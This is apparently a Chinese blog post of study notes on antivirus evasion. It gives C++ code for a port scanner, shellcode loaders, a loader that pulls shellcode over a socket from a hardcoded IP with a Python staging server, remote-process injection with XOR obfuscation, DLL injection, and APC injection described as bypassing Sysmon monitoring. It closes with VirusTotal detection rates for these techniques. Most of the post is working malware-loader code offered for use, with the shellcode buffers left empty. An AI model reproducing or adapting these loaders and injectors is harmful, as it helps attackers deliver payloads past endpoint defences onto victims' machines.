• 基础知识


     
    这里面原本是想学习一点免杀的,但是免杀涉及 Windows 的编程技巧太多了(但是又不想去拿别人的东西用,一是开源的东西很快就会被杀,二是不甘心自己就这样),于是决定在这里面补充一下知识点,希望自己能写出自己的免杀的程序和对后面学习 Windows 相关编程有用
     

    SOCKET连接

    主要API函数

    初始化 WSADATA结构
    int WSAStartup(
    WORD wVersionRequested,  //调用的 Winsock版本( MAKEWORD(2,2); //调用2.2版本 )
    LPWSADATA lpWSAData  //指向的 WSADATA的指针,返回详细信息
    );
    
    #include <WinSock2.h> //socks通信头文件
    #include <iostream> //输入输出流头文件
    #include <Windows.h> //系统调用头文件
    #include <string>
    #include <stdio.h>
    #include <time.h>
    #include <ws2tcpip.h> //ip转换头文件
    #pragma comment(lib,"ws2_32.lib") //添加链接库
    #pragma warning(disable:4996) //忽略警告
    using namespace std;
    int main()
    {
        WSADATA wsd;
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
        {
            cout << "WSAStartup Faild" << endl;
            return 0;
        }
        int port = 445;
        SOCKET sHost;
        SOCKADDR_IN ip;
        sHost = socket(AF_INET , SOCK_STREAM,IPPROTO_TCP);//
        if (INVALID_SOCKET == sHost)
        {
            cout << "Socket Failed!";
            WSACleanup();
            return -1;
        }
        ip.sin_family = AF_INET;
        ip.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
        ip.sin_port = htons(port);
        int test = connect(sHost,(LPSOCKADDR)&ip,sizeof(ip));
        if (test == SOCKET_ERROR)
        {
            closesocket(sHost);
            return -1;
        }
        printf("%d端口开放!",port);
        return 0;
    }
    

    多线程实现端口扫描

     
    主要API
     

    HANDLE CreateThread(
      LPSECURITY_ATTRIBUTES   lpThreadAttributes, //指向结构的指针
      SIZE_T                  dwStackSize, // 堆栈的初始大小
      LPTHREAD_START_ROUTINE  lpStartAddress, //函数指针
      __drv_aliasesMem LPVOID lpParameter, //变量指针
      DWORD                   dwCreationFlags, //线程创建标志
      LPDWORD                 lpThreadId //线程标识符指针
    );
    
    DWORD WaitForSingleObject(
      HANDLE hHandle, //对象句柄
      DWORD  dwMilliseconds //超时时间间隔
    );
    
    #include <WinSock2.h> //socks通信头文件
    #include <iostream> //输入输出流头文件
    #include <Windows.h> //系统调用头文件
    #include <string>
    #include <stdio.h>
    #include <time.h>
    #include <ws2tcpip.h> //ip转换头文件
    #pragma comment(lib,"ws2_32.lib") //添加链接库
    #pragma warning(disable:4996) //忽略警告
    using namespace std;
    
    DWORD WINAPI PortScan(LPVOID port);
    const char * ip_global;
    
    int main(int argc ,char* argv[])
    {
        if (argc < 3)
        {
            cout << "example: PortScan.exe ip max_port(1~max_port)" << endl;
            return 0;
        }
        ip_global = argv[1];
        WSADATA wsd;//
        HANDLE handle=NULL;//线程句柄
        DWORD dwThreadID;//现场ID
        clock_t start, end;
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
        {
            cout << "WSAStartup Faild" << endl;
            return 0;
        }
        int min_port = 1;
        string test = argv[2];
        int max_port = atoi(test.c_str());
        start = clock();
        for (int i = min_port; i <= max_port; i++)
        {
            handle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PortScan,(LPVOID)i,0,&dwThreadID);
        }
        WaitForSingleObject(handle,INFINITE);//等待线程结束,设置超时时间
        end = clock();
        int time = end - start;
        printf("共用时 %d ms",time);
        system("pause");
        return 0;
    }
    
    DWORD WINAPI PortScan(LPVOID port) {
        int QAQ = (int)(LPVOID)port;
        SOCKET sHost;
        SOCKADDR_IN ip;
        sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
        if (INVALID_SOCKET == sHost)
        {
            cout << "Socket Failed!";
            WSACleanup();
            return -1;
        }
        ip.sin_family = AF_INET;
        ip.sin_addr.S_un.S_addr = inet_addr(ip_global);
        ip.sin_port = htons(QAQ);
        int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
        if (test == SOCKET_ERROR)
        {
            closesocket(sHost);
            return -1;
        }
        printf("%d端口开放!
    ", port);
        return 0;
    }
    

     
    使用方法
     

    PortScan.exe 127.0.0.1 12138
    

     
    参考: https://github.com/lengjibo/RedTeamTools
     

    简单申请内存空间载入Shellcode

     
    主要API
     

    LPVOID VirtualAlloc(
      LPVOID lpAddress, //起始指针
      DWORD dwSize, //指定大小
      DWORD flAllocationType, //分配类型
      DWORD flProtect //页属性
    );
    
    void CopyMemory(
      _In_       PVOID  Destination, //目标起始地址
      _In_ const VOID   *Source, // 要复制的起始地址
      _In_       SIZE_T Length //内存块的大小(字节为单位)
    );
    
    
    
    // VirtualAlloc.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include <iostream>
    #include <Windows.h>
    int main()
    {
        DWORD dwThreadID;
        HANDLE handle;
        int shellcode_size;
        unsigned char buf[]="";
        shellcode_size = sizeof(buf);//
        char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
        CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
        handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
        WaitForSingleObject(handle,INFINITE);//等待线程结束
        return 0;
    }
    

     
    将shellcode载入,就可以执行我们的恶意 payload
     

     
    当然因为 shellcode的特征特别明显,很理所当然的被杀了
     

    使用SOCKET发送Shellcode

    #include <iostream>
    #include <WinSock2.h>
    #include <stdio.h>
    #pragma comment(lib,"ws2_32.lib")
    #pragma warning(disable:4996)
    #pragma comment(lib,"winmm.lib")
    #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
    using namespace std;
    
    int main()
    {
        if (1 == 1) {
            char bufcode[1024];
            WSADATA wsd;
            if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
            {
                cout << "WSAStartup Faild" << endl;
                return 0;
            }
            int port = 36444;
            SOCKET sHost;
            SOCKADDR_IN ip;
            sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
            if (INVALID_SOCKET == sHost)
            {
                cout << "Socket Failed!";
                WSACleanup();
                return -1;
            }
            ip.sin_family = AF_INET;
            ip.sin_addr.S_un.S_addr = inet_addr("192.168.10.209");
            ip.sin_port = htons(port);
            int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
            if (SOCKET_ERROR == test)
            {
                cout << "connect failed" << endl;
                closesocket(sHost);
                WSACleanup();
                return 0;
            }
    
            ZeroMemory(bufcode, 1024);
            recv(sHost, bufcode, 1024, 0);
            closesocket(sHost);
            WSACleanup();
    
            char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
            CopyMemory(shellcode, bufcode, 1024);
            DWORD ThreadID;
            HANDLE handle;
            handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
            WaitForSingleObject(handle, INFINITE);
        }
        return 0;
    }
    

     
    Python
     

    import socket
    import threading
    import time
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', 36444))
        s.listen(20)
        timeout = 10
        socket.setdefaulttimeout(timeout)
        while True:
            sock, addr = s.accept()
            t = threading.Thread(target=tcplink, args=(sock, addr))
            t.start()
    
    
    def tcplink(sock, addr):
        print('Start download shellcode %s:%s...' % addr)
        shellcode = b"" #注意使用 Python的Shellcode
        print(len(shellcode))
        while True:
            sock.send(shellcode)
            sock.close()
        print('Finish %s:%s ' % addr)
    
    
    if __name__ == '__main__':
        main()
    

    进程注入

    使用的API

    参考 https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
    
    BOOL CreateProcess(
      LPCSTR                lpApplicationName,  // Executable
      LPSTR                 lpCommandLine,  // cmdline
      LPSECURITY_ATTRIBUTES lpProcessAttributes,  // Process handle
      LPSECURITY_ATTRIBUTES lpThreadAttributes, // Thread handle 
      BOOL                  bInheritHandles,  //Set handle inheritance
      DWORD                 dwCreationFlags, //creation flags(CREATE_NO_WINDOW)
      LPVOID                lpEnvironment, //Use parent's environment block
      LPCSTR                lpCurrentDirectory,//Use parent's starting directory 
      LPSTARTUPINFOA        lpStartupInfo,//Pointer to STARTUPINFO structure
      LPPROCESS_INFORMATION lpProcessInformation//Pointer to PROCESS_INFORMATION structure
    );
    

    创建进程的Demo

    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    int main(int argc, TCHAR * argv[]) {
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si,sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi,sizeof(pi));
        LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
        if (!CreateProcess(executable,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            DWORD errCode = GetLastError();
            std::cout << "CreateProcess Faild:" << errCode << std::endl;
        }
        WaitForSingleObject(pi.hProcess,INFINITE);
        return 0;
    }
    

     
    参考:
    https://lengjibo.github.io/syscall/

    https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes
     

    可以看到我们在 ProcessInjection中创建了一个新的进程
     

    进程注入的API函数

    //在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。
    LPVOID VirtualAllocEx(
      HANDLE hProcess,
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    //在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。
    BOOL WriteProcessMemory(
      HANDLE  hProcess,
      LPVOID  lpBaseAddress,
      LPCVOID lpBuffer,
      SIZE_T  nSize,
      SIZE_T  *lpNumberOfBytesWritten
    );
    //创建一个在另一个进程的虚拟地址空间中运行的线程。
    HANDLE CreateRemoteThread(
      HANDLE                 hProcess,
      LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      SIZE_T                 dwStackSize,
      LPTHREAD_START_ROUTINE lpStartAddress,
      LPVOID                 lpParameter,
      DWORD                  dwCreationFlags,
      LPDWORD                lpThreadId
    );
    
    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    int main(int argc, TCHAR * argv[]) {
        unsigned char buf[] ="";//此处填写 shellcode,因为sellcode有特征建议用异或或者其他方式处理一下
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si,sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi,sizeof(pi));
        LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
        if (!CreateProcess(executable,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            DWORD errCode = GetLastError();
            std::cout << "CreateProcess Faild:" << errCode << std::endl;
        }
        WaitForSingleObject(pi.hProcess,1000);
        LPVOID test;
        test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
        CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
        return 0;
    }
    

     
    当然直接 shellcode 的注入方式是不可取的,因为很多shellcode的特征已经被挖掘出来了,所以我们需要 加密 处理一下
     
    https://payloads.online/archivers/2019-11-10/1

    倾旋师傅的这个异或就不错
     

    #include <Windows.h>
    #include <stdio.h>
    #include <iostream>
    int main(int argc, TCHAR * argv[]) {
        unsigned char buf[] = "";//shellcode
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        for (int i = 0; i < sizeof(buf); i++) {
            buf[i] = buf[i] ^ 10;//异或处理
        }
        ZeroMemory(&si,sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi,sizeof(pi));
        LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
        if (!CreateProcess(executable,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            DWORD errCode = GetLastError();
            std::cout << "CreateProcess Faild:" << errCode << std::endl;
        }
        WaitForSingleObject(pi.hProcess,1000);
        LPVOID test;
        test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
        CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
        return 0;
    }
    

     
    看来国内杀软确实不行
     

     
    参考资料
     
    https://lengjibo.github.io/syscall/
     
    google
     

    Socket+进程注入

    #include <iostream>
    #include <WinSock2.h>
    #include <stdio.h>
    #pragma comment(lib,"ws2_32.lib")
    #pragma warning(disable:4996)
    #pragma comment(lib,"winmm.lib")
    #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
    using namespace std;
    
    int main()
    {
        if (1 == 1) {
            char bufcode[1024];
            WSADATA wsd;
            if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
            {
                cout << "WSAStartup Faild" << endl;
                return 0;
            }
            int port = 36444;
            SOCKET sHost;
            SOCKADDR_IN ip;
            sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
            if (INVALID_SOCKET == sHost)
            {
                cout << "Socket Failed!";
                WSACleanup();
                return -1;
            }
            ip.sin_family = AF_INET;
            ip.sin_addr.S_un.S_addr = inet_addr("192.168.43.189");
            ip.sin_port = htons(port);
            int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
            if (SOCKET_ERROR == test)
            {
                cout << "connect failed" << endl;
                closesocket(sHost);
                WSACleanup();
                return 0;
            }
    
            ZeroMemory(bufcode, 1024);
            recv(sHost, bufcode, 1024, 0);
            closesocket(sHost);
            WSACleanup();
    
    
            STARTUPINFO si;
            PROCESS_INFORMATION pi;
            ZeroMemory(&si, sizeof(si));
            si.cb = sizeof(si);
            ZeroMemory(&pi, sizeof(pi));
            LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
    
            if (!CreateProcess(executable,
                NULL,
                NULL,
                NULL,
                FALSE,
                CREATE_NO_WINDOW,
                NULL,
                NULL,
                &si,
                &pi
            )) {
                DWORD errCode = GetLastError();
                std::cout << "CreateProcess Faild:" << errCode << std::endl;
            }
            WaitForSingleObject(pi.hProcess, 1000);
            LPVOID testflag;
            testflag = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            WriteProcessMemory(pi.hProcess, testflag, bufcode, sizeof(bufcode), NULL);
            CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)testflag, NULL, 0, 0);
        }
        return 0;
    }
    

     
    服务端代码
     

    import socket
    import threading
    import time
    
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', 36444))
        s.listen(20)
        timeout = 10
        socket.setdefaulttimeout(timeout)
        while True:
            sock, addr = s.accept()
            t = threading.Thread(target=tcplink, args=(sock, addr))
            t.start()
    
    
    def tcplink(sock, addr):
        print('Start download shellcode %s:%s...' % addr)
        shellcode = b"" #Here is shellcode
        print(len(shellcode))
        while True:
            sock.send(shellcode)
            sock.close()
        print('Finish %s:%s ' % addr)
    
    
    if __name__ == '__main__':
        main()
    

    Dll注入

    用到的API函数

    //打开现有的本地过程对象
    HANDLE OpenProcess(
      DWORD dwDesiredAccess,
      BOOL  bInheritHandle,
      DWORD dwProcessId
    );
    //从指定的动态链接库(DLL)检索导出的函数或变量的地址
    FARPROC GetProcAddress(
      HMODULE hModule,
      LPCSTR  lpProcName
    );
    //将指定的模块加载到调用进程的地址空间中。指定的模块可能会导致其他模块被加载。
    HMODULE LoadLibraryW(
      LPCWSTR lpLibFileName
    );
    
    //还有一些其他的用到的上方进程注入一样的API
    
    #include <Windows.h>
    #include <stdio.h>
    
    int main(int argc, char* argv[]) {
        HANDLE ProcessHandle;
        if (argc < 2) {
            printf("Usage: xxx.exe pid");
            return 0;
        }
        TCHAR dllpath[] = TEXT("C:\users\mikasa\1.dll");
        ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));//打开进程获取有所有权限的进程句柄
        if (ProcessHandle == NULL) {
            printf("OpenProcess Fail!");
            return 0;
        }
        LPVOID test = VirtualAllocEx(ProcessHandle,NULL,sizeof dllpath,MEM_COMMIT,PAGE_READWRITE);//在进程中申请空间,将dll的路径放进去,返回申请的内存基地址
        BOOL flag = WriteProcessMemory(ProcessHandle,test,(LPVOID)dllpath,sizeof dllpath,NULL);//在指定的进程中将数据写入内存数据
        if (!flag) {
            printf("WriteProcessMemory fail!");
        }
        PTHREAD_START_ROUTINE thread = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");//因为是要加载DLL,所有使用GetProcAddress获取LoadLibraryW地址加载dll
        CreateRemoteThread(ProcessHandle,NULL,0,thread,test,0,NULL);//在进程中创建线程
        CloseHandle(ProcessHandle);//关闭句柄
        return 0;
    }
    

     

    进程名会显示为你注入的那个进程
     

    绕过Sysmon对CreateRemoteThread的监控(APC注入)

    #include <windows.h>
    #include <TlHelp32.h>
    #include <vector>
    
    using std::vector;
    
    bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
        auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE)
            return false;
        pid = 0;
        PROCESSENTRY32 pe = { sizeof(pe) };
        if (::Process32First(hSnapshot, &pe)) {
            do {
                if (_wcsicmp(pe.szExeFile, exeName) == 0) {
                    pid = pe.th32ProcessID;
                    THREADENTRY32 te = { sizeof(te) };
                    if (::Thread32First(hSnapshot, &te)) {
                        do {
                            if (te.th32OwnerProcessID == pid) {
                                tids.push_back(te.th32ThreadID);
                            }
                        } while (::Thread32Next(hSnapshot, &te));
                    }
                    break;
                }
            } while (::Process32Next(hSnapshot, &pe));
        }
        ::CloseHandle(hSnapshot);
        return pid > 0 && !tids.empty();
    }
    
    void main()
    {
        DWORD pid;
        vector<DWORD> tids;
        if (FindProcess(L"notepad++.exe", pid, tids))
        {
            printf("OpenProcess
    ");
            HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
            printf("VirtualAllocEx
    ");
            auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            wchar_t buffer[] = L"c:\users\mikasa\1.dll";
            printf("WriteProcessMemory
    ");
            ::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
            for (const auto& tid : tids)
            {
                printf("OpenThread
    ");
                HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
                if (hThread)
                {
                    printf("GetProcAddress
    ");
                    ::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
                }
            }
            printf("VirtualFreeEx
    ");
            ::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
        }
    }
    

     
    三好学生师傅的demo
     

    反射型DLL

     
    参考倾旋师傅

    https://payloads.online/archivers/2020-03-02/1#%E5%8F%8D%E5%B0%84-dll%E6%B3%A8%E5%85%A5
     
    https://payloads.online/archivers/2020-01-02/1
     
    先生成一个DLL试试
     

     
    使用Def文件导出
     
    使用LoadLibrary的方式加载
     

    #include <iostream>
    #include <Windows.h>
    typedef void (*msg)(void);
    
    
    int main() {
        msg RunMsg;
        HMODULE hbadcode = LoadLibrary(TEXT("C:\Users\mikasa\source\repos\DllTest\Debug\DllTest.dll"));//取得DLL句柄
    
        RunMsg = (msg)GetProcAddress(hbadcode,"msg");//得到 msg函数基地址
        RunMsg();//运行
        FreeLibrary(hbadcode);//释放句柄
        return 0;
    }
    

     

     
    使用反射型DLL(太难了,先放在这边吧)
     

    写的一个联和这几天学习的程序(Socket 加载 shellcode/进程注入)

     
    test.h
     

    #pragma once
    #include <WinSock2.h>
    #include <Windows.h>
    #include <iostream>
    #include <winbase.h>
    #include <tchar.h>
    #include <Ws2tcpip.h>
    #include <stdio.h>
    #pragma comment(lib,"ws2_32.lib")
    #pragma comment(lib,"winmm.lib")
    #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
    char bufcode[1024];
    class test
    {
    public:
        test(std::string method);
        void GetRun();
        void ShellcodeLoad();
        void ProcessInjection();
        void GetShellcode(char addr[],char port[]);
    private:
        std::string method;
        SOCKET sHost = NULL;
        SOCKADDR_IN ip;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    };
    

     
    test.cpp
     

    #include "test.h"
    #pragma warning(disable:4996)
    
    test::test(std::string method) {
        this->method = method;
    }
    
    void test::ProcessInjection() {
    
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
        LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
        if (!CreateProcess(executable,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            DWORD errCode = GetLastError();
            std::cout << "CreateProcess Faild:" << errCode << std::endl;
        }
        WaitForSingleObject(pi.hProcess, 1000);
        WaitForSingleObject(pi.hProcess, 1000);
        LPVOID test;
        test = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(pi.hProcess, test, bufcode, sizeof(bufcode), NULL);
        CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)test, NULL, 0, 0);
    }
    
    void test::ShellcodeLoad() {
        char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        CopyMemory(shellcode, bufcode, 1024);
        DWORD ThreadID;
        HANDLE handle;
        handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
        WaitForSingleObject(handle, INFINITE);
    }
    void test::GetRun() {
        std::string demo1 = "ProcessInjection";
        std::string demo2 = "shellcodeload";
        if (!(this->method.compare(demo2))) {
            this->ShellcodeLoad();
        }
        else {
            this->ProcessInjection();
        }
    }
    void test::GetShellcode(char addr[], char port[]) {
        WSADATA wsd;
        ip.sin_family = AF_INET;
        ip.sin_addr.S_un.S_addr = inet_addr(addr);
        ip.sin_port = htons((short)atoi(port));
        if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
        {
            std::cout << "WSAStartup Faild" << std::endl;
            //return 0;
            exit(0);
        }
        sHost = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
        if (INVALID_SOCKET == sHost) {
            std::cout << "Socket Failed!";
            WSACleanup();
            //return -1;
            exit(0);
        }
        int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
        if (SOCKET_ERROR == test) {
            std::cout << "Connect faild" << std::endl;
            closesocket(sHost);
            WSACleanup();
            exit(0);
        }
        ZeroMemory(bufcode, 1024);
        recv(sHost, bufcode, 1024, 0);
        closesocket(sHost);
        WSACleanup();
    }
    int main(int argc, char* argv[]) {
        std::cout << argc;
        if (argc < 4) {
            std::cout<<"Usage: xxxx.exe ip port shellcodeload/ProcessInjection"<<std::endl;
            return 0;
        }
        std::string str = argv[3];
        test * aa = new test(str);
        aa->GetShellcode(argv[1], argv[2]);
        aa->GetRun();
        return 0;
    }
    
    在当前进程申请空间,创建线程执行 shellcode
    
    xxx.exe ip port shellcodeload
    
    创建新的一个进程(nslookup.exe,可以自行更改),获取进程句柄,申请空间,创建线程执行 shellcode
    
    xxx.exe ip port
    

     
    后语: 单独挑出来说,最开始的SOCKET是最好的,在Vt上面能做到1~2杀,但是不好的一点就是,不注入进程的话,一旦在当前进程中做一些小动作可能会被捕获到(例如注册表的操作)

    进程注入的话主要可能就是API函数太敏感了,导致被杀的比较多,但是对于后面的渗透挺有帮助的,例如修改注册表BypassUac等查的不会太严
     

  • 相关阅读:
    hdu 5151 Sit sit sit
    hdu 5150 Sit sit sit
    cf C. Arithmetic Progression
    hdu 5125 magic balls
    Pots(bfs)
    Prime Path(素数筛选+bfs)
    A Knight's Journey(dfs)
    Colored Sticks (字典树哈希+并查集+欧拉路)
    Squares(哈希)
    Gold Balanced Lineup(哈希表)
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/ji-chu-zhi-shi.html
Copyright © 2020-2023  润新知